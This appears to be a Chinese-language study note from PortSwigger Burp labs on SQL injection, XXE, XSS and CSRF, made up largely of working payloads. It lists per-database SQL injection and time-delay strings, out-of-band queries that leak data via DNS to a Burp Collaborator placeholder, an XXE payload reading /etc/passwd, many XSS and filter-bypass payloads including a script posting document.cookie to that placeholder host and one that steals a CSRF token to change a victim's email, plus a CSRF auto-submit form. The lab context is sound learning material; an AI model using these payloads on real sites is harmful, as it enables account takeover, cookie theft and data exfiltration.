记录在做 burp lab 时学会的知识点。

# SQL 注入

  1. 使用 select 判断列数和获取返回值时,有时 SELECT 1,2,3 不行而 SELECT NULL,NULL,NULL 可以,可能是因为 sql 的返回值类型需要与后端接收的类型相匹配,SELECT 1,2,3 返回的都是数字,而使用 NULL 会返回不确定类型 NULL。

  2. 只能返回一条字符串语句,但是需要读取多个字符串的值时,可以使用字符串拼接。

    1
    2
    3
    4
    5

    Oracle: 'foo'||'bar'
    Microsoft: 'foo'+'bar'
    PostgreSQL: foo'||'bar'
    MySQL: 'foo' 'bar' [Note the space between the two strings], CONCAT ('foo','bar')

  3. 在 Oracle 中,每一条 SELECT 语句后续都要跟一个 FROM,如果不确定要搜索哪个表,可以使用虚表 dual 来进行测试,例如 SELECT NULL FROM dual。

  4. 获取数据库版本信息。

    1
    2
    3
    4
    5

    Oracle: SELECT banner FROM v$version, SELECT version FROM v$instance
    Microsoft: SELECT @@version
    PostgreSQL: SELECT version ()
    MySQL: SELECT @@version

  5. 获取数据库中存储的表名以及其中的列名。

    1
    2
    3
    4
    5

    Oracle: SELECT * FROM all_tables, SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
    Microsoft: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    PostgreSQL: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    MySQL: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

6.Oracle 中没有 LIMIT 命令,可以试着用 ROWNUM 取代下。
7. 可以用以下命令测试网页是否会根据返回值的 Ture or False 变换。

1
2
3
4
5

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR (1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST (1/0 AS INTEGER) ELSE NULL END)
MySQL SELECT IF (YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

  1. 后端可能接受一个 int 值,也可能接收 string,也可能接收一行,这需要自己测试判断。

  2. 获取截断的字符串。

    1
    2
    3
    4
    5

    Oracle SUBSTR ('foobar', 4, 2)
    Microsoft SUBSTRING ('foobar', 4, 2)
    PostgreSQL SUBSTRING ('foobar', 4, 2)
    MySQL SUBSTRING ('foobar', 4, 2)

  3. 延时注入,但是后端如果异步执行 SQL,可能造成该方法失效。

    1
    2
    3
    4
    5

    Oracle dbms_pipe.receive_message (('a'),10)
    Microsoft WAITFOR DELAY '0:0:10'
    PostgreSQL SELECT pg_sleep (10)
    MySQL SELECT SLEEP (10)

    11.DNS 查询
    1
    2
    3
    4
    5
    6
    7
    8
    9

    Oracle:SELECT EXTRACTVALUE (xmltype ('<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> % remote;]>'),'/l')
    FROM dual(有的版本能用,有的版本已经修复了)
    SELECT UTL_INADDR.get_host_address ('BURP-COLLABORATOR-SUBDOMAIN')(所有版本都能用,但需要权限)
    Microsoft: exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
    PostgreSQL: copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
    MySQL: LOAD_FILE ('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
    SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'(只适用于 windows 后端)

  4. 使用 DNS 查询带数据:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16

    Oracle: SELECT EXTRACTVALUE (xmltype ('<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> % remote;]>'),'/l')
    FROM dual
    Microsoft: declare @p varchar (1024);set @p=(SELECT YOUR-QUERY-HERE);exec ('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
    PostgreSQL: create OR replace function f () returns void as $$
    declare c text;
    declare p text;
    begin
    SELECT into p (SELECT YOUR-QUERY-HERE);
    c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
    execute c;
    END;
    $$ language plpgsql security definer;
    SELECT f ();
    MySQL: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'(仅在 windows 有用)

  5. 可以用简单的 +,- 来判断某些数字参数是否会被后台执行。

  6. 当返回只能有一列而结果有多列时,可以考虑以下方法将多列拼成一列。

    1
    2

    SELECT username || '~' || password FROM users

# XXE

  1. 一段简单的 XML payload,用来展示 xml 格式。
    1
    2
    3
    4
    5
    6

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:/etc/passwd" >]>
    <name>&xxe;</name>

# XSS

0.payload 汇总。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

<img src="1" onerror=alert (1)>
<svg onload=alert (1)>
javascript:alert (document.cookie)
"onmouseover="alert (1)
'-alert (1)-'
$on.constructor ('alert (1)')()

<script>
fetch ('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>


<script>
var req = new XMLHttpRequest ();
req.onload = handleResponse;
req.open ('get','/my-account',true);
req.send ();
function handleResponse () {
var token = this.responseText.match (/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest ();
changeReq.open ('post', '/my-account/change-email', true);
changeReq.send ('csrf='+token+'&email=test@test.com')
};
</script>

<xss id=x onfocus=alert (document.cookie) tabindex=1>
<svg><animatetransform onbegin=alert (1)>
accesskey='x'onclick='alert (1)

以下带绕过功能
</script><script>alert (1)</script>
\'-alert (1)//
http://foo?&apos;-alert (1)-&apos;
${alert (1)}

<svg><a><animate attributeName=href values=javascript:alert (1)/><text x=20 y=20>Click me</text></a>
x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

(AngularJS):
toString ().constructor.prototype.charAt=[].join;[1]|orderBy:toString ().constructor.fromCharCode (120,61,97,108,101,114,116,40,49,41)=1
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from ([1],alert)'">
[1].map (alert)
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

"><img src='//attacker-website.com?
<script>
if (window.name) {
new Image ().src='subdomain//?'+encodeURIComponent (window.name);
} else {
location = '';
}
</script>

<script>alert (1)</script>&token=;script-src-elem 'unsafe-inline'

  1. 使用以下代码,对使用了 innerHTML 的网页实现 DOM XSS 攻击,innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

    1
    2

    <img src="1" onerror=alert (1)>

  2. 一段 payload。

    1
    2

    <svg onload=alert (1)>

  3. 网页的代码可能会从 url 中获取参数,url 中的参数不一定都是传给后端的,通过修改这些参数可能触发 XSS。

    1
    2

    javascript:alert (document.cookie)

4.DOM 型的 XSS,目前来看是通过在 html 中添加 img 或者 svg 等元素,然后通过触发其中的 onerror 等属性来运行自己的 payload。
5. 为什么使用 HTML 编码能预防 XSS 攻击。
HTML 在解析时存在多种状态,在这个问题中需要了解 "Tag open state", "Tag name state" 和 "Data state",HTML 初始为 "Data state", 在遇到第一个 < 后进入 "Tag open state", 之后在遇到第一个字符时
进入 "Tag name state",直到遇到 > 结束。当我们的 XSS 代码(比如 <script>alert ()</script>)被 HTML 编码后,HTML 遇到被编码后的 <,不会进入 "Tag open state",而是会保持 "Data state" 并对其解码,因此 < script > 标签不会发挥作用。
6. 使用以下代码绕过 html 编码保护, 仅在 DOM 中有用:

1
2

"onmouseover="alert (1)

7. 一种新的 payload, 用于封闭 script 中变量的 ''。
1
2

'-alert (1)-'

8. 有的变量里面也可以变成 payload,比如 a=b,但是如果只是修改 b 不能造成 xss,因为编译器只会将 payload 赋给 a,需要用一些符号让 payload 执行才行。之前的 sql 注入也有这种问题。
9.window.location 对象所包含的属性。
1
2
3
4
5
6
7
8
9

hash: 从井号开始的 URL
host: 主机名和当前 URL 的端口号
hostname: 当前 URL 的主机名
href: 完整的 URL
pathname: 当前 URL 的路径部分
port: 当前 URL 的端口号
protocol: 当前 URL 的协议
search: 从问号开始的 URL

10. 一种新的 payload。
1
2

$on.constructor ('alert (1)')()

11.AngularJS 是一个 js 框架,当有 ng-app 属性的 html 元素的内容被更改是,会执行 {分隔符 {分隔符} 分隔符} 的内容(分隔符当不存在,不加这个 hexo 报错)。
12.js 文件中存在变量赋值的地方需要注意,可以通过修改变量赋值,让其变成包含指令的运算,从而达到执行指令的目的。

  1. 用于获取 cookie 的 payload

    1
    2
    3
    4
    5
    6
    7
    8

    <script>
    fetch ('https://BURP-COLLABORATOR-SUBDOMAIN', {
    method: 'POST',
    mode: 'no-cors',
    body:document.cookie
    });
    </script>

  2. 使用在 CSRF 中学到的基础绕过,依旧没有绕过 token,使用以下 XSS 的 payload 可以获取用户的 token。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <script>
    var req = new XMLHttpRequest ();
    req.onload = handleResponse;
    req.open ('get','/my-account',true);
    req.send ();
    function handleResponse () {
    var token = this.responseText.match (/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest ();
    changeReq.open ('post', '/my-account/change-email', true);
    changeReq.send ('csrf='+token+'&email=test@test.com')
    };
    </script>

  3. 通过 burp intruder 配合 XSS cheat sheet 绕过 WAF,主要是通过字典找到 WAF 遗漏的标签和指令,从而根据这些漏洞实现攻击。

  4. 一种新的触发方法:

    1
    2

    <xss id=x onfocus=alert (document.cookie) tabindex=1>

    tabindex 将该标签设置为可以聚焦,之后可以在 URL 结尾处使用 #x 聚焦该标签,从而触发 onfocus 事件。

  5. 一段 payload:

    1
    2

    <svg><animatetransform onbegin=alert (1)>

  6. rel="canonical" 标签用于解决由于网址形式不同而内容相同造成的内容重复问题,各大搜索引擎只显示该标签后续跟的 href 指定的 url。

  7. 一种 payload。

    1
    2

    accesskey='x'onclick='alert (1)

    accesskey 属性用来指定使元素获得焦点的快捷键。

  8. 目前见过两种绕过 \ 的方法,一种是重复标签,一种是提前闭合。

  9. HTML 对标签标签和 & apos; 先处理,之后才会有 javascript 进行处理,可以利用这一特性实现绕过。
    22.JavaScript template literal 的特征,如果 `` 之间包含 ${code},就会执行 code。

  10. 遇到 script 标签后,html 会停止解析并交给 javascript 解析,直到运行完毕。

  11. 使用 /**/ 来代替空格。

  12. 不带括弧调用函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    <script>onerror=alert;throw 1337</script>
    <script>{onerror=alert}throw 1337</script>
    <script>throw onerror=alert,'some string',123,'haha'</script>
    <script>{onerror=eval}throw'=alert\x281337\x29'</script> Chrome

    <script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script> Firefox
    <script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script> Firefox
    <script>TypeError.prototype.name ='=/',0 [onerror=eval]['/-alert (1)//']</script>
    <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a [12]+[1337]+a [13]</script>

  13. 小结。
    当 XSS 在 HTML 的 tag 之间时,尝试引入新的 tag。
    当 XSS 在 HTML 的 tag 属性中时:1. 尝试闭合 tag 并引入新的 tag。2. 尝试闭合属性并引入新的属性。3. 检查该属性本身能否触发 XSS。
    当 XSS 在 JavaScript 中时:尝试闭合当前 script 标签并引入新的 script。
    当 XSS 在 JS 中的字符串中时:1. 尝试闭合两边的引号。如果 JS 对其中的符号进行了转义(\), 可以尝试绕过 \。有时 XSS 能使用的字段也会被限制,可以尝试一些特殊的注入方式。
    当 XSS 处于 JS 中,并且这个 JS 处于 HTML tag 中:可以尝试使用 HTML 编码绕过。
    当 XSS 处于 JS 模板字符串中:有特殊的执行方法。

Dangling markup,一种逃脱标签并发起访问的方式。配合使用 Window.name 为表单和超链接提供目标,从而绕过 CSP。
28.
HTML 中的 input 如果有 name 属性,那就可以通过 get 传值,数据就会被提交到表单里,但是还不会发包。
29. 绕过 edge 的 csp

1
https://www.paypal.com/webapps/xoonboarding?values=etc&token=SOMETOKEN;_

# CSRF (跨站请求攻击)

  1. 第一道题是使用的 burp 自带的 payload 生成工具,生成的 payload 如下。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
      <body>
    <script>history.pushState ('', '', '/')</script>
    <form action="URL" method="POST">
    <input type="hidden" name="email" value="EMAIL_ADDRESS" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    document.forms [0].submit ();
    </script>
    </body>
    </html>
  2. 有的网页会检查 token,但更换下请求方式可能能绕过。
  3. 更改要检查的 token 名可能也能绕过。
  4. 可以考虑有的网站生成 token 后,没有和当前用户 session 绑定,因此如果当前 token 没有用于验证,可能会在后台持续存在。因此可以截获一段 request 并复制其 token,之后 drop 掉该 request,此时这段 token 便可用于 CSRF 包的构筑 ,因为没有与我的 session,victim 便可以用这个 token 修改他自己的包。
  5. 如果 token 与用户的 cookie 绑定,而用的 request 修改 session 后可能会导致用户退出,但修改 cookie 不会,则 cookie 可能并未与 session 绑定,因此可以尝试用 xss 漏洞配合 set-cookie 修改用户的 cookie,使其与自己的 payload 中的 token 一致。